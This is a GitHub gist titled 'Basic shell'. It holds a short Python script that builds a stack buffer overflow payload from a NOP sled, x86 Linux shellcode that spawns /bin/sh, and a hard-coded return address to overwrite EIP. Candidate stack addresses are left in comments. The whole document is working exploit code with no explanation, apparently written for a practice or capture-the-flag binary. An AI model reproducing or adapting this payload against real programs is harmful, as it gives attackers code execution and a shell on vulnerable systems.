Skip to content

Instantly share code, notes, and snippets.

@wulfgarpro
Created January 3, 2019 00:52
Show Gist options
  • Save wulfgarpro/bb0a9956662b71e0d33a9d15dc77a1a6 to your computer and use it in GitHub Desktop.
Save wulfgarpro/bb0a9956662b71e0d33a9d15dc77a1a6 to your computer and use it in GitHub Desktop.
Basic shell
BUF_SIZE=112
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
shellcode += "\x80"
NOP_SLED = "\x90" * (BUF_SIZE - len(shellcode))
#0xffffd49c
#0xffffd4ac
#0xffffd440
#0xffffd43c
#0xffffd6cc
EIP="\xcc\xd6\xff\xff"
PAYLOAD=NOP_SLED + shellcode + EIP
print(PAYLOAD)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment